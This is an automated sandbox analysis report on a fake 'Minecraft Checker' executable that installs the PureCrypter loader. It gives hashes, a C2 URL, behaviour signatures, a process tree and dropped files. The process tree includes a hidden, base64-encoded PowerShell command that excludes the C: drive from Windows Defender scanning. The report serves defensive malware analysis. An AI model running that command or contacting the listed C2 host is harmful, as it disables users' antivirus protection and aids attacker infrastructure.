Analysis

  • max time kernel
    134s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-06-2023 16:08

General

  • Target

    Minecraft Checker by xRisky.exe

  • Size

    5.6MB

  • MD5

    682fcac2b949bc9fcb3b039b2ddb5ff2

  • SHA1

    94eb1e61b975c65f95c5519d0bfb128906c3dcbb

  • SHA256

    029efceb46ffeaefe413209d52c458e22d444c6a67514ac6b0f015caa6e27c9e

  • SHA512

    c2ebcff22f15873cf2f119e025eeeb081210ea07de4271758676490f1eb1dde82afd5750a800a8dbbde408ac7a6dc8f54e448fb4180bc4205ab67dc6ba1abd28

  • SSDEEP

    98304:MQsAE8NRnJFKRhwnA8K8s0n2uiR3dN1mnRsMEZQ8kSZvIgi+1RWQ:zNVJFKP98K8sVR37knuWSpli+y

Malware Config

Extracted

Family

purecrypter

C2

http://botnetlogs.com/PureCrypter/panel/uploads/Gxjkiikrv.pdf

Signatures

  • PureCrypter

    PureCrypter is a .NET malware loader first seen in early 2021.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Minecraft Checker by xRisky.exe
    "C:\Users\Admin\AppData\Local\Temp\Minecraft Checker by xRisky.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Users\Admin\AppData\Local\Temp\Minecraft Checker by xRisky.exe
      "C:\Users\Admin\AppData\Local\Temp\Minecraft Checker by xRisky.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3964
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3648
  • C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe
    C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe
      C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1228
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4016
  • C:\Users\Admin\AppData\Local\Temp\arkbxus.exe
    C:\Users\Admin\AppData\Local\Temp\arkbxus.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:5060

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

    Filesize

    927B

    MD5

    4a911455784f74e368a4c2c7876d76f4

    SHA1

    a1700a0849ffb4f26671eb76da2489946b821c34

    SHA256

    264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c

    SHA512

    4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Minecraft Checker by xRisky.exe.log

    Filesize

    927B

    MD5

    4a911455784f74e368a4c2c7876d76f4

    SHA1

    a1700a0849ffb4f26671eb76da2489946b821c34

    SHA256

    264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c

    SHA512

    4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Tags.exe.log

    Filesize

    927B

    MD5

    4a911455784f74e368a4c2c7876d76f4

    SHA1

    a1700a0849ffb4f26671eb76da2489946b821c34

    SHA256

    264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c

    SHA512

    4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

  • C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe

    Filesize

    5.6MB

    MD5

    682fcac2b949bc9fcb3b039b2ddb5ff2

    SHA1

    94eb1e61b975c65f95c5519d0bfb128906c3dcbb

    SHA256

    029efceb46ffeaefe413209d52c458e22d444c6a67514ac6b0f015caa6e27c9e

    SHA512

    c2ebcff22f15873cf2f119e025eeeb081210ea07de4271758676490f1eb1dde82afd5750a800a8dbbde408ac7a6dc8f54e448fb4180bc4205ab67dc6ba1abd28

  • C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe

    Filesize

    5.6MB

    MD5

    682fcac2b949bc9fcb3b039b2ddb5ff2

    SHA1

    94eb1e61b975c65f95c5519d0bfb128906c3dcbb

    SHA256

    029efceb46ffeaefe413209d52c458e22d444c6a67514ac6b0f015caa6e27c9e

    SHA512

    c2ebcff22f15873cf2f119e025eeeb081210ea07de4271758676490f1eb1dde82afd5750a800a8dbbde408ac7a6dc8f54e448fb4180bc4205ab67dc6ba1abd28

  • C:\Users\Admin\AppData\Local\SecurityZone\gzzlwjue\Tags.exe

    Filesize

    5.6MB

    MD5

    682fcac2b949bc9fcb3b039b2ddb5ff2

    SHA1

    94eb1e61b975c65f95c5519d0bfb128906c3dcbb

    SHA256

    029efceb46ffeaefe413209d52c458e22d444c6a67514ac6b0f015caa6e27c9e

    SHA512

    c2ebcff22f15873cf2f119e025eeeb081210ea07de4271758676490f1eb1dde82afd5750a800a8dbbde408ac7a6dc8f54e448fb4180bc4205ab67dc6ba1abd28

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1kmhzty.o32.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\arkbxus.exe

    Filesize

    12KB

    MD5

    61c8bf88ad858f628e6bb7bc4d90d70d

    SHA1

    9ef1d96888677b60c903d311baeef2ad6fb17dcc

    SHA256

    f1cabf40754437cd92f0c671b2a62c019f2f3e6279fbcf00eee60f9722561747

    SHA512

    5fef6dff1d3ff2112e2e4db7115c4c12a364423e83363f0030f2ef2a4c57410e586f359f92cc2f53692f7ab26d4a3a49961890acd80234d3e4780da0fed2b385

  • C:\Users\Admin\AppData\Local\Temp\arkbxus.exe

    Filesize

    12KB

    MD5

    61c8bf88ad858f628e6bb7bc4d90d70d

    SHA1

    9ef1d96888677b60c903d311baeef2ad6fb17dcc

    SHA256

    f1cabf40754437cd92f0c671b2a62c019f2f3e6279fbcf00eee60f9722561747

    SHA512

    5fef6dff1d3ff2112e2e4db7115c4c12a364423e83363f0030f2ef2a4c57410e586f359f92cc2f53692f7ab26d4a3a49961890acd80234d3e4780da0fed2b385

  • memory/908-4205-0x00000000058A0000-0x00000000058B0000-memory.dmp

    Filesize

    64KB

  • memory/908-3415-0x00000000058A0000-0x00000000058B0000-memory.dmp

    Filesize

    64KB

  • memory/1156-7716-0x00000000057B0000-0x00000000057B1000-memory.dmp

    Filesize

    4KB

  • memory/1228-4473-0x0000000005520000-0x0000000005530000-memory.dmp

    Filesize

    64KB

  • memory/1228-6670-0x0000000005520000-0x0000000005530000-memory.dmp

    Filesize

    64KB

  • memory/2220-162-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-148-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-133-0x0000000000920000-0x0000000000EB6000-memory.dmp

    Filesize

    5.6MB

  • memory/2220-164-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-166-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-168-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-170-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-172-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-174-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-176-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-178-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-180-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-182-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-184-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-186-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-188-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-190-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-192-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-194-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-196-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-198-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-510-0x00000000059E0000-0x00000000059F0000-memory.dmp

    Filesize

    64KB

  • memory/2220-1180-0x0000000005960000-0x0000000005961000-memory.dmp

    Filesize

    4KB

  • memory/2220-1181-0x00000000067B0000-0x0000000006D54000-memory.dmp

    Filesize

    5.6MB

  • memory/2220-134-0x00000000059E0000-0x00000000059F0000-memory.dmp

    Filesize

    64KB

  • memory/2220-158-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-136-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-138-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-135-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-156-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-140-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-142-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-144-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-146-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-154-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-152-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-150-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/2220-160-0x00000000059F0000-0x0000000005D17000-memory.dmp

    Filesize

    3.2MB

  • memory/3648-3408-0x0000028426E20000-0x0000028426E30000-memory.dmp

    Filesize

    64KB

  • memory/3648-3406-0x0000028426E20000-0x0000028426E30000-memory.dmp

    Filesize

    64KB

  • memory/3648-3407-0x0000028426E20000-0x0000028426E30000-memory.dmp

    Filesize

    64KB

  • memory/3648-3405-0x0000028426E60000-0x0000028426E82000-memory.dmp

    Filesize

    136KB

  • memory/3964-1185-0x0000000000400000-0x00000000004AC000-memory.dmp

    Filesize

    688KB

  • memory/3964-3393-0x0000000005E90000-0x0000000005EF6000-memory.dmp

    Filesize

    408KB

  • memory/3964-1389-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

    Filesize

    64KB

  • memory/3964-3394-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

    Filesize

    64KB

  • memory/4016-7894-0x0000000005700000-0x0000000005710000-memory.dmp

    Filesize

    64KB

  • memory/4016-9927-0x0000000005700000-0x0000000005710000-memory.dmp

    Filesize

    64KB

  • memory/5060-9932-0x0000016909D70000-0x0000016909D7A000-memory.dmp

    Filesize

    40KB

  • memory/5060-9933-0x000001690B920000-0x000001690B930000-memory.dmp

    Filesize

    64KB

  • memory/5060-10856-0x000001690B930000-0x000001690B931000-memory.dmp

    Filesize

    4KB

  • memory/5060-10857-0x000001690B920000-0x000001690B930000-memory.dmp

    Filesize

    64KB